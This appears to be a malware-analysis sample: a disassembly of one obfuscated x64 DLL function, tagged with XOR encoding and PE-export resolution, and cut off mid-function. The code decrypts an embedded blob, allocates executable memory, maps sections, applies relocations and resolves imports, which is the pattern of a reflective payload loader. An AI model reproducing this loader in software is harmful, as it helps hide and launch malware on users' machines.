Function at 0x1800010d0
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x180001102
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001102
nop
jmp 0x180001100
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov qword [rbp], rsp
mov esi, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001142
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
je 0x180001142
nop
jmp 0x180001140
mov r11b, byte [section..data]
mov r15d, dword [0x180020a74]
mov r8d, dword [0x180020a78]
lea r13d, [r15 - 1]
imul r13d, r15d
and r13d, 1
sete al
cmp r8d, 0xa
setl bl
or bl, al
mov r9b, byte [0x180004001]
mov r10b, byte [0x180004002]
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, r11d
sete al
cmp dword [0x180020a6c], 0xa
mov r11b, byte [0x180004003]
setl r12b
or r12b, al
mov r14d, ebx
or r14b, bl
cmp edx, 0xa
jl 0x1800011c1
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
jne 0x180001340
mov byte [rdi], cl
test bl, bl
jne 0x1800011d6
nop word [rax + rax]
test bl, bl
je 0x1800011d0
mov byte [rdi], cl
cmp r8d, 0xa
jl 0x1800011e5
test r13d, r13d
jne 0x180001340
mov byte [rdi + 1], r9b
test bl, bl
jne 0x1800011f8
nop dword [rax]
test bl, bl
je 0x1800011f0
mov byte [rdi + 1], r9b
cmp r8d, 0xa
jl 0x180001207
test r13d, r13d
jne 0x180001340
mov byte [rdi + 2], r10b
test bl, bl
jne 0x180001218
nop
test bl, bl
je 0x180001210
mov byte [rdi + 2], r10b
cmp r8d, 0xa
jl 0x180001227
test r13d, r13d
jne 0x180001340
mov byte [rdi + 3], r11b
test bl, bl
jne 0x180001238
nop
test bl, bl
je 0x180001230
mov byte [rdi + 3], r11b
cmp r8d, 0xa
jl 0x180001247
test r13d, r13d
jne 0x180001340
test r12b, r12b
jne 0x1800013a2
cmp r8d, 0xa
jl 0x18000125f
test r13d, r13d
jne 0x180001360
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001370
cmp edx, 0xa
jl 0x180001285
test eax, eax
jne 0x180001350
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001380
cmp edx, 0xa
jl 0x1800012ab
test eax, eax
jne 0x180001350
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
test r14b, r14b
je 0x180001390
cmp edx, 0xa
jl 0x1800012d1
test eax, eax
jne 0x180001350
test bl, bl
mov eax, r13d
cmovne eax, r13d
mov edx, r8d
cmovne edx, r8d
mov esi, r15d
cmovne esi, esi
test r14b, r14b
je 0x1800013a0
cmp edx, 0xa
jl 0x1800012f9
test eax, eax
jne 0x180001350
mov eax, 0x10
call entry0
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov qword [rbp], rsp
cmp edx, 0xa
jl 0x1800011ad
lea eax, [rsi - 1]
imul eax, esi
and eax, 1
je 0x1800011ad
jmp 0x180001140
jmp 0x180001340
jmp 0x180001350
jmp 0x180001360
jmp 0x180001370
jmp 0x180001380
jmp 0x180001390
jmp 0x1800013a0
mov r14d, dword [rdi]
test r14, r14
je 0x1800014c5
xor esi, esi
cmp r14d, 0x10
jb 0x18000148b
lea rax, [r14 - 1]
cmp rax, 0x400
jae 0x18000148b
mov esi, r14d
and esi, 0xfffffff0
lea rcx, [rsi - 0x10]
mov rdx, rcx
shr rdx, 4
add rdx, 1
mov eax, edx
and eax, 1
test rcx, rcx
je 0x180001452
mov rbx, rax
sub rbx, rdx
xor edx, edx
lea rdi, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov ecx, edx
and ecx, 0x3e0
movups xmm1, xmmword [rcx + rdi + 4]
movups xmm2, xmmword [rdx + rdi + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdx + rdi + 0x414]
xorps xmm2, xmm0
movups xmmword [rdx + rdi + 0x404], xmm2
lea ecx, [rdx + 0x10]
and ecx, 0x3f0
movups xmm2, xmmword [rcx + rdi + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdx + rdi + 0x414], xmm1
add rdx, 0x20
add rbx, 2
jne 0x1800013ff
jmp 0x180001454
xor edx, edx
test rax, rax
je 0x180001486
mov eax, edx
and eax, 0x3f0
lea rcx, section..data
movups xmm0, xmmword [rax + rcx + 4]
movups xmm1, xmmword [rdx + rcx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdx + rcx + 0x404], xmm1
cmp rsi, r14
je 0x1800014c5
lea rdx, section..data
nop word cs:[rax + rax]
nop dword [rax]
mov eax, esi
and eax, 0x3ff
movzx eax, byte [rax + rdx + 4]
xor al, byte [rsi + rdx + 0x404]
xor al, 0xc
mov byte [rsi + rdx + 0x404], al
add rsi, 1
cmp rsi, r14
jb 0x1800014a0
cmp r8d, 0xa
jl 0x1800014d2
test r13d, r13d
je 0x1800014d2
jmp 0x1800014d0
lea rsi, section..data
lea r12, [r14 + rsi]
add r12, 0x404
mov bl, byte [r12]
mov rdi, qword [rbp]
mov byte [rdi], bl
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x18000150c
test ecx, ecx
jne 0x1800014ec
cmp edx, 0xa
jl 0x180001519
test ecx, ecx
jne 0x180001630
mov r8b, byte [r12 + 1]
mov byte [rdi + 1], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180001568
test ecx, ecx
je 0x180001568
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x180001560
mov byte [rdi + 1], r8b
cmp edx, 0xa
jl 0x180001575
test ecx, ecx
jne 0x180001630
mov r8b, byte [r12 + 2]
mov byte [rdi + 2], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x1800015c4
test ecx, ecx
je 0x1800015c4
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x1800015bc
mov byte [rdi + 2], r8b
cmp edx, 0xa
jl 0x1800015cd
test ecx, ecx
jne 0x180001630
mov r8b, byte [r12 + 3]
mov byte [rdi + 3], r8b
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x18000161c
test ecx, ecx
je 0x18000161c
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
test bl, bl
je 0x180001614
mov byte [rdi + 3], r8b
cmp edx, 0xa
jl 0x180001632
test ecx, ecx
je 0x180001632
nop word cs:[rax + rax]
nop
jmp 0x180001630
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x180020a6c], 0xa
setl cl
or cl, al
cmp cl, 1
jne 0x180001690
add r12, 4
mov eax, dword [rdi]
lea rdx, [r14 + rsi]
add rdx, 0x408
xor edi, edi
cmp rax, rdi
je 0x180001692
mov ebx, edi
and ebx, 0x3ff
movzx ebx, byte [rbx + rsi + 4]
xor byte [rdx + rdi], bl
add rdi, 1
test cl, cl
jne 0x180001668
nop word cs:[rax + rax]
nop
jmp 0x180001690
cmp dword [0x180020a7c], 0xa
jl 0x1800016b2
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016b2
nop dword [rax]
jmp 0x1800016b0
add r14, 0x408
mov qword [rbp - 0x10], r12
movsxd rax, dword [0x180004440]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800016c4
add rax, rsi
add rax, 0x404
mov qword [rbp - 8], rax
mov qword [rbp], r12
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800016e1
mov r15, r12
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800016f0
mov qword [rbp - 0x30], r15
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800016fe
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x18000170b
mov r13, rdi
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001717
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.180002710
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001754
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f9a
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001783
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f9c
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov edx, dword [rsi]
add rdx, r9
mov rcx, r12
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x1800017b4
add rcx, 1
add rdx, 1
cmp al, bl
je 0x18000179e
cmp al, bl
je 0x1800017c2
add rsi, 4
add r10, 2
jmp 0x180001796
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017fc
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f9e
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000182b
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001fa0
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r15
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x18000185c
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001846
cmp cl, dl
je 0x18000186a
add rdi, 4
add rsi, 2
jmp 0x18000183e
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002710
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800018cd
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001fa2
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018fc
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001fa4
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001935
add rsi, 1
cmp al, bl
je 0x18000191d
cmp al, bl
je 0x180001943
add rdx, 4
add r9, 2
jmp 0x180001916
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r13, rax
mov ecx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp ebx, 0xa
jl 0x180001fa6
test eax, eax
je 0x180001fa6
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov r15, rdx
jl 0x1800019c6
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r15, rdx
and ecx, 1
jne 0x180001f7e
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800019c6
mov rbx, r15
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800019d3
mov r13, rbx
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800019df
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800019ea
mov rdi, r13
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800019f8
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001a04
sub rsp, 0x20
mov rcx, r15
call fcn.180002710
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a41
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f80
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001a70
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f82
mov qword [rbp], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rsi, rbx
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001aa6
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001a90
cmp cl, al
je 0x180001ab4
add r11, 4
add r10, 2
jmp 0x180001a87
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001aee
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f84
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b1d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001f86
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r13
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001b4e
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001b38
cmp cl, dl
je 0x180001b5c
add rdi, 4
add rsi, 2
jmp 0x180001b30
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, r15
call fcn.180002710
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bbe
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f88
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001bed
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f8a
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001c26
add rsi, 1
cmp al, bl
je 0x180001c0e
cmp al, bl
je 0x180001c34
add rdx, 4
add r9, 2
jmp 0x180001c07
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rax, dword [0x180004440]
mov qword [rbp], rax
cmp dword [0x180020a7c], 0xa
mov rdx, qword [rbp - 0x10]
mov r13, rdx
jl 0x180001c96
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r13, rdx
and ecx, 1
jne 0x180001f8c
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001c96
mov rbx, r13
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001ca4
mov r15, rbx
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001cb0
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001cba
mov rdi, r15
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001cc7
mov r12, rdi
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001cd3
sub rsp, 0x20
mov rcx, r13
call fcn.180002710
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d10
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f8e
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d3f
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f90
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
mov edx, dword [r11]
add rdx, r9
mov rsi, rbx
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001d71
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001d5b
cmp cl, al
je 0x180001d7f
add r11, 4
add r10, 2
jmp 0x180001d52
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001db9
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f92
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001de8
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001f94
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r15
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001e19
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001e03
cmp cl, dl
je 0x180001e27
add rdi, 4
add rsi, 2
jmp 0x180001dfb
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call r10
add rsp, 0x10
mov rcx, r13
call fcn.180002710
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001e89
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f96
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001eb8
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f98
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
lea rax, [r14 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001ef1
add rsi, 1
cmp al, bl
je 0x180001ed9
cmp al, bl
je 0x180001eff
add rdx, 4
add r9, 2
jmp 0x180001ed2
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001f4c
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001997
cmp dword [0x180020a7c], 0xa
lea rsi, section..data
mov r12, qword [rbp - 0x10]
jl 0x1800016bd
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800016bd
jmp 0x1800016b0
jmp 0x180001f7e
jmp 0x180001f80
jmp 0x180001f82
jmp 0x180001f84
jmp 0x180001f86
jmp 0x180001f88
jmp 0x180001f8a
jmp 0x180001f8c
jmp 0x180001f8e
jmp 0x180001f90
jmp 0x180001f92
jmp 0x180001f94
jmp 0x180001f96
jmp 0x180001f98
jmp 0x180001f9a
jmp 0x180001f9c
jmp 0x180001f9e
jmp 0x180001fa0
jmp 0x180001fa2
jmp 0x180001fa4
cmp ebx, 0xa
jl 0x180001fb1
test eax, eax
je 0x180001fb1
jmp 0x180001faf
mov rax, qword [rbp - 8]
lea r8, [rax + 0x108]
xor r9d, r9d
mov rax, qword [rbp - 8]
movzx eax, word [rax + 6]
cmp r9, rax
jae 0x180002151
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
cmp edx, 0xa
jl 0x180001ffc
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000214d
cmp edx, 0xa
jl 0x180002010
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002149
mov r11d, dword [r10 + 4]
test r11, r11
je 0x180002080
mov ebx, dword [r10]
add rbx, r13
mov eax, dword [r10 + 8]
lea rcx, section..data
lea rdi, [rax + rcx]
add rdi, 0x404
jmp 0x180002048
add r11, 0xffffffffffffffff
add rdi, 1
add rbx, 1
test r11, r11
je 0x180002080
movzx eax, byte [rdi]
mov byte [rbx], al
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180002072
test ecx, ecx
je 0x180002072
movzx eax, byte [rdi]
mov byte [rbx], al
jmp 0x180002048
cmp edx, 0xa
jl 0x180002037
test ecx, ecx
je 0x180002037
jmp 0x180002149
mov ecx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp ebx, 0xa
jl 0x18000212f
test edi, edi
je 0x18000212f
cmp edx, 0xa
jl 0x1800020ba
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000214f
mov r11d, dword [r10 + 4]
test r11, r11
je 0x180001fe8
mov eax, dword [r10 + 8]
lea rcx, section..data
lea rbx, [rax + rcx]
add rbx, 0x404
mov edi, dword [r10]
add rdi, r13
jmp 0x1800020fa
add r11, 0xffffffffffffffff
add rbx, 1
add rdi, 1
test r11, r11
je 0x180001fe8
movzx eax, byte [rbx]
mov byte [rdi], al
mov eax, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp edx, 0xa
jl 0x180002124
test ecx, ecx
je 0x180002124
movzx eax, byte [rbx]
mov byte [rdi], al
jmp 0x1800020fa
cmp edx, 0xa
jl 0x1800020e5
test ecx, ecx
je 0x1800020e5
jmp 0x18000214b
add r9, 1
cmp ebx, 0xa
jl 0x180001fbf
test edi, edi
je 0x180001fbf
jmp 0x180001faf
jmp 0x180002149
jmp 0x18000214b
jmp 0x18000214d
jmp 0x18000214f
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 0x30]
mov rax, r13
sub rax, rdx
cmp ebx, 0xa
jl 0x180002171
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180002171
jmp 0x18000216f
mov rdx, qword [rbp - 8]
mov edx, dword [rdx + 0xb0]
add rdx, r13
movabs r8, 0x1fffffff8
cmp dword [rdx], 0
je 0x180002336
mov edi, dword [rdx + 4]
cmp rdi, 8
jb 0x1800022fe
cmp ebx, 0xa
jl 0x1800021b2
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x18000232c
add rdi, r8
shr rdi, 1
mov r9d, edi
xor r11d, r11d
cmp r11, r9
je 0x1800022fe
movzx edi, word [rdx + r11*2 + 8]
mov esi, edi
shr esi, 0xc
mov r10d, edi
and r10d, 0xfff
cmp edi, 0xa000
jae 0x18000223e
cmp esi, 3
jne 0x1800022e2
cmp ebx, 0xa
jl 0x180002201
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x180002332
mov ecx, dword [rdx]
lea rdi, [r10*4]
add rdi, r13
add dword [rdi + rcx*4], eax
mov ecx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800022e2
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
je 0x1800022e2
mov ecx, dword [rdx]
add dword [rdi + rcx*4], eax
mov ecx, dword [rdx]
jmp 0x18000220e
cmp esi, 0xa
jne 0x1800022e2
mov r10d, r10d
cmp ebx, 0xa
jl 0x180002276
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
jne 0x18000229e
jmp 0x180002276
add r11, 1
cmp ebx, 0xa
jl 0x1800021be
test edi, edi
je 0x1800021be
jmp 0x18000232c
mov ecx, dword [rdx]
mov rsi, r10
add rsi, r13
add qword [rcx + rsi], rax
mov ecx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800022e2
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
je 0x1800022e2
cmp ebx, 0xa
jge 0x180002330
lea rcx, [r10 + r13]
mov esi, dword [rdx]
add qword [rsi + rcx], rax
cmp dword [0x180020a6c], 0xa
jl 0x180002276
mov esi, dword [0x180020a70]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x180002276
mov esi, dword [rdx]
add qword [rcx + rsi], rax
mov esi, dword [rdx]
add qword [rcx + rsi], rax
cmp dword [0x180020a6c], 0xa
jge 0x1800022ba
jmp 0x180002276
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp ebx, 0xa
jl 0x18000225c
test edi, edi
je 0x18000225c
jmp 0x18000232e
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp ebx, 0xa
jl 0x180002310
test edi, edi
jne 0x180002334
mov esi, dword [rdx + 4]
add rdx, rsi
cmp ebx, 0xa
jl 0x180002188
test edi, edi
je 0x180002188
jmp 0x18000216f
jmp 0x18000232c
jmp 0x18000232e
jmp 0x180002330
jmp 0x180002332
jmp 0x180002334
cmp ebx, 0xa
jl 0x180002348
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
je 0x180002348
jmp 0x180002346
lea rax, [r13 + 2]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x90]
add rax, r13
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r14d, dword [rax + 0xc]
test r14, r14
je 0x180002686
add r14, r13
sub rsp, 0x20
jmp 0x18000238f
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
mov rcx, qword [rbp]
call fcn.180002710
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800023bd
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002676
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800023ec
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002678
